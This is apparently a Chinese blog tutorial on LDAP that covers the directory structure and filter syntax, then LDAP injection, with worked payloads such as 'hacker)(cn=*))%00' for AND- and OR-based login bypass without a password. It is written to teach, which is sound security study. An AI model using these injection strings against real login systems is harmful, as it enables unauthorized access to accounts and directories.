可以简单的把LDAP理解成一种数据库,不过和mysql这类关系数据库不一样的是,LDAP服务器采用的是树状存储结构

LDAP服务器既然是一种类似数据库的存储方式,那自然而然的就有查询的功能,由于LDAP的结构特性,它在读取方面的效率是非常高的,但在写入方面却不尽如人意.

[^目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以ldap天生是用来查询的。]:

LDAP,轻量目录访问协议

====|dn :一条记录的位置|==
​ ==|dc :一条记录所属区域|==
​ ==|ou :一条记录所属组织|==
​ |cn/uid:一条记录的名字/ID|==

例如一条具体的LDAP记录如下

1
2
3
4
5
6
7
8
9
10
11
dn:cn=stan,ou=linux,ou=computer,dc=ourschool,dc=org

objectClass:organizationalPerson

cn:stan

cn:小刀

sn:小刀

description:a good boy

查询语法

=(等于)

查询”名”属性为”Zhhhy”的所有对象

1
(Name=Zhhhy)

这会返回“名”属性为“Zhhhy”的所有对象。圆括号是必需的,以便强调 LDAP 语句的开始和结束。

&(逻辑与)

如果具有多个条件并且希望全部条件都得到满足,则可使用此语法。例如,如果希望查找居住在 mnnu 并且“名”为“Zhhhy”的所有人员,可以使用:

1
(&(Name=Zhhhy)(Addr=mnnu))

请注意,每个参数都被属于其自己的圆括号括起来。整个 LDAP 语句必须包括在一对主圆括号中。操作符 & 表明,只有每个参数都为真,才会将此筛选条件应用到要查询的对象。

*(通配符)

可使用通配符表示值可以等于任何值。使用它的情况可能是:您希望查找具有职务头衔的所有对象。为此,可以使用

1
(title=*)

这会返回“title”属性包含内容的所有对象。另一个例子是:您知道某个对象的“名”属性的开头两个字母是“Jo”。那么,可以使用如下语法进行查找

1
(givenName=Jo*)

LDAP注入

只要有用户输入,并且未进行数据清洗,很大一个可能就会存在漏洞.LDAP注入的成因和sql注入的相同,对用户数据的过滤不够严格,导致拼接而成的命令,使得程序按非预期的进行.

LDAP拼接的几种情况,

1
(attribute=value)

当我们构造的是

1
value)(injected_filter

拼接之后产生

1
(attribute=value)(injected_filter)  ps:injected_filter

用于替换恒成真的语句,这样查询语句就会验证成功

通常,在OpenLDAP实施中,第二个过滤器会被忽略,只有第一个会被执行。
而在ADAM中,有两个过滤器的查询是不被允许的,因而这个注入毫无用处。

1
`(|(``attribute``=value)(second_filter)) ``or`` (&(``attribute``=value)(second_filter))`

如果第一个用于构造查询的过滤器有逻辑操作符,形如

1
**value)(injected_filter)**

的注入会变成如下过滤器:

1
(&(attribute=value)(injected_filter)) (second_filter)

虽然过滤器语法上并不正确,OpenLDAP还是会从左到右进行处理,忽略第一个过滤器闭合后的任何字符。

但是有的浏览器会进行检查,检查过滤器是否正确,这种情况下

1
**value)(injected_filter))(&(1=0**

于是就出现了下述payload

1
(&(attribute=value)(injected_filter))(&(1=0)(second_filter))

既然第二个过滤器会被LDAP服务器忽略,有些部分便不允许有两个过滤器的查询。这种情况下,只能构建一个特殊的注入以获得单个过滤器的LDAP查询,如

1
**value)(injected_filter**

得到

1
(&(attribute=value)(injected_filter)(second_filter))

利用方式

AND注入

通常情况下,验证一个用户登录是

1
(&(username=value1)(password=value2))

首先加上正常结束代码 得:

1
value1 = hacker)

加上一个永真条件 得:

1
value1 = hacker)(cn=*)

闭合整个ldap语句 得:

1
value1 = hacker)(cn=*))

注释掉后面没用代码 得:

1
value1 = hacker)(cn=*))%00

拼接之后

1
(&(username=value1 = hacker)(cn=*))%00)(password=value2))

实际上执行的是

1
(&(username=value1 = hacker)(cn=*))

当只要username的值存在时就可以不需要密码登录了

OR注入

OR和AND利用条件差不多,OR可以不需要正确的用户名

1
(|(username=value1 = hacker)(cn=*))

也就是当存在or型注入的时候,可以直接用以上语句无用户名登录

LDAP盲注

原理和sql盲注是一样的,由于没有直接的信息回显,只能根据页面的显示状态是否正确来进行判断是否存在注入,以及注出的数据是哪些.

此处留坑,待填

在之后CTF的题目里体现一下LDAP盲注的知识.

参考博客

https://www.cnblogs.com/bendawang/p/5156562.html

http://www.freebuf.com/articles/rookie/170322.html